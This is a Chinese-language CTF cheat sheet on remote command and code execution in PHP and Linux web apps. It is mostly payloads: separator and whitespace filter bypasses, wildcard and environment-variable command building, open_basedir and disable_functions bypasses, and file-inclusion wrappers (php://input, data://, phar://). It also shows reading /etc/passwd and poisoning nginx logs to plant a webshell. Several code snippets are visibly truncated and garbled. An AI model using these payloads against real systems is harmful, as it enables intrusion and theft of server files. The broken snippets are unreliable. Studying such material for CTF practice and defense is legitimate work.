RCE英文全称:remote command/code execute
分为远程命令执行ping和远程代码执行evel。
漏洞出现的原因:没有在输入口做输入处理。
我们常见的路由器、防火墙、入侵检测等设备的web管理界面上
一般会给用户提供一个ping操作的web界面,用户从web界面输入目标IP,提交后,后台会对该IP地址进行一次ping测试,并返回测试结果。其实这就是一个接口,可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统,这就是RCE漏洞。
REC利用函数
RCE绕过之过滤关键词
%09(url传递)(cat%09flag.php)
${IFS}
$IFS$9
<>(cat<>/flag)
<(cat
例子:
采用多个管道命令
;cd flag;cat *
功能 | 符号 | payload |
---|---|---|
换行符 | %0a | ?cmd=123%0als |
回车符 | %0d | ?cmd=123%0dls |
连续指令 | ; | ?1=123;pwd |
后台进程 | & | ?1=123&pwd |
管道 | | | ?1=123|pwd |
逻辑运算 | ||或&& | ?1=123&&pwd |
符号 | 功能 |
---|---|
; | 分号 |
| | 只执行后面那条命令 |
|| | 只执行前面那条命令 |
& | 两条命令都会执行 |
&& | 两条命令都会执行 |
在php中可以用?>来代替最后一个;因为php遇到定界符关闭标志时,系统会自动在PHP语句之后加上一个分号。
RCE绕过之字符串长度受限
RCE绕过之无回显
RCE绕过之GET命令执行
RCE绕过之无数字字母getshell
echo `cat /flag`
require '/flag'
②使用取反
=require~%d0%99%93%9e%98?>
RCE绕过之无参数RCE
将``或$()内命令的输出作为输入执行
常用payload:
echo `ls`;
echo $(ls);
?>=`ls`;
?>=$(ls);
使用chdir(‘img’)到文件的子目录
获取目录:
code=chdir('img');ini_set('open_basedir',''..'');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');print_r(scandir('/'));
读取文件:
?cmd=chdir('/tmp');mkdir('lethe');chdir('lethe');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');var_dump(ini_get('open_basedir'));var_dump(file_get_contents(文件名));
PS:此方法只能列出根目录下的文件
glob:// — 查找匹配的文件路径模式。
glob://是php自5.3.0版本起开始生效的一个用来筛选目录的伪协议,其用法示例如下:
getFilename(), $f->getSize()/1024);
}
?>
绕过原理:只是用glob://伪协议是无法直接绕过的,它需要结合其他函数组合利用,主要有以下两种利用方式,局限性在于它们都只能列出根目录下和open_basedir指定的目录下的文件,不能列出除前面的目录以外的目录中的文件,且不能读取文件内容
Ⅰ.DirectoryIterator+glob://
DirectoryIterator是php5中增加的一个类,为用户提供一个简单的查看目录的接口。
DirectoryIterator与glob://结合将无视open_basedir,列举出根目录下的文件:
c=?>__toString().' ');
}
exit(0);
?>
输入glob:///*即可列出根目录下的文件,但是会发现只能列根目录和open_basedir指定的目录的文件
例子:ctfshow-web入门72
payload:
c=?>__toString().' ');}exit();?>
发现flag0.txt
Ⅱ.opendir()+readdir()+glob://
opendir()函数为打开目录句柄,readdir()函数为从目录句柄中读取条目
这里结合两个函数来列举根目录中的文件:
c=?>";
}
closedir($b);
}
exit(0);
?>
效果和①是一样的,只能绕过 open_basedir来列举根目录中的文件,不能列举出其他非根目录和open_basedir指定的目录中的文件
例子:ctfshow-web入门72
payload:
c=?>
发现flag0.txt
符号链接又叫软链接,是一类特殊的文件,这个文件包含了另一个文件的路径名(绝对路径或者相对路径)。路径可以是任意文件或目录,可以链接不同文件系统的文件。在对符号文件进行读或写操作的时候,系统会自动把该操作转换为对源文件的操作,但删除链接文件时,系统仅仅删除链接文件,而不删除源文件本身
绕过方式:
原理是创建一个链接文件flag用相对路径指向A/B/C/D,再创建一个链接文件exp指向flag/…/…/…/…/etc/passwd,其实就是指向了A/B/C/D/…/…/…/…/etc/passwd,也就是/etc/passwd。这时候删除aaa文件再创建aaa目录但是exp还是指向了aaa也就是A/B/C/D/…/…/…/…/etc/passwd,就进入了路径/etc/passwd
PS:payload构造的注意点就是:要读的文件需要往前跨多少路径,就得创建多少层的子目录,然后输入多少个…/来设置目标文件。
PHP绕过disable_function限制
PHP绕过disable_function限制
原理:
因为默认配置了环境变量使用才可以直接使用cat 等命令,但是可以使用路径调用命令如 /bin/cat,再加上通配符就能绕过很多限制
base64 flag.php
/bin/base64 flag.php
/???/???e64 flag.php
(ZmxhZ3tJX0FNX0FfRkxBR30= 为flag{I_AM_A_FLAG}的十六进制编码)
例子:
|\
主要过滤了字母,分号,<>,使用通配符代替字母,目录调用命令即可。
payload1:
/???/????64 ????.??? #/bin/base64 flag.php
payload2:
/???/???/????2 ????.??? #/usr/bin/bzip2 flag.php
然后下载flag.php.bz2
grep { f???????
相当于
grep { flag.php
使用~$()构造数字
因为可能被设置了disable_functions函数,我们可以通过uaf脚本来绕过这个函数。
这里涉及到很多pwn的知识,本人主要学习web,对pwn的认识比较浅薄,在这里推荐几篇优秀的文章供大家参考。
推荐文章:
绕过Disable Fucntons
PHP绕过disable_function限制
UAF的学习 Wiki
例子:ctfshow-web110
payload:
?v1=FilesystemIterator&v2=getcwd
例子:
ctfshow-web109
payload:
?v1=Exception&v2=system('cat *')
?v1=Reflectionclass&v2=system('cat *')
①大写字母数字和{}绕过
echo ${PATH:5:1}${PATH:11:1}
${PATH:5:1}${PATH:11:1} 1
相当于
ls 1
②大写字母和{}绕过
当不允许我们使用数字时,我们可以用环境变量长度来代替数字
PS:不同系统的环境可能不同,所以环境变量的长度可能不同。
我们可以用下列语句搜寻我们预期长度的环境变量
for i in `env`; do echo -n "${i%=*} lenth is ";echo ${i#*=}|awk '{print length($0)}'; done |grep 5
for i in `env`; do echo -n "${i%=*} lenth is ";echo ${i#*=}|awk '{print length($0)}'; done |grep 11
所以构建语句
${PATH:${#XDG_MENU_PREFIX}:1}${PATH:${#XDG_RUNTIME_DIR}:1} 1
相当于
ls 1
伪协议文件包含(伪协议后必须是文件绝对路径)
file:// 访问本地文件系统
http:// 访问 HTTPs 网址
ftp:// 访问 ftp URL
php:// 访问输入输出流
zlib:// 压缩流
data:// 数据
ssh2:// security shell2
expect:// 处理交互式的流
glob:// 查找匹配的文件路径
php://input 是个可以访问请求的原始数据的只读流。 POST 请求的情况下,最好使用 php://input 来代替 $HTTP_RAW_POST_DATA,因为它不依赖于特定的 php.ini 指令。 而且,这样的情况下 $HTTP_RAW_POST_DATA 默认没有填充, 比激活 always_populate_raw_post_data
潜在需要更少的内存。 enctype="multipart/form-data"
的时候 php://input 是无效的。
例子:
payload:
/?file=php://input
php://filter 是一种元封装器, 设计用于数据流打开时的筛选过滤应用。 这对于一体式(all-in-one)的文件函数非常有用,类似 readfile()、file() 和 file_get_contents(), 在数据流内容读取之前没有机会应用其他过滤器。
php://filter 目标使用以下的参数作为它路径的一部分。 复合过滤链能够在一个路径上指定。详细使用这些参数可以参考具体范例。
php://filter的各种过滤器
data://,可以让用户来控制输入流,当它与包含函数结合时,用户输入的data://流会被当作php文件执行
data://text/plain;base64
读php文件源码:
data:text/plain,
者命令执行:
data:text/plain,
把shell压缩到zip中,如果file参数可控,可以通过该协议访问压缩包中文件
payload如下:
index.php?file=phar://uploads/flag.zip/flag.php
例子:
payload:
?file=compress.zlib://flag.php
Linux:http://127.0.0.1/FI/LFI.php?file=file:///etc/passwd //绝对路径
Windows :http://192.168.6.128:8001/vulnerabilities/fi/?page=file:///C:\DVWA-master\vulnerabilities\fi\1.txt //绝对路径
先读取日志文件,发现可以读取
file=/var/log/nginx/access.log
或
file=/var/log/nginx/error.log
可以上传一句话木马,进行连接。
例子:
ctfshow萌新计划web20
?c=/var/log/nginx/access.log
burpsuite抓包,修改User-Agent为
蚁剑访问:http://chall.ctf.show/?c=/var/log/nginx/access.log
例子:
ctfshow-web39
//flag in flag.
phperror_reporting(0);
if(isset($_GET'c'])){
$c= $_GET['c'];
if(!preg_match("/flag/i",$c)){
include($c.".php");
}
}else{
highlight_file(_FILE__);
}
payload:
使用data协议
?c=data:text/plain,
利用session.upload_progress进行文件包含
参考
浅谈PHP无回显命令执行的利用
Perl中GET命令执行
无字母数字的webshell
无参数函数RCE
PHP Parametric Function RCE
CTF-RCE-总结(只记录解题方法,不记录具体原理)
Bypass open_basedir
文件包含中的伪协议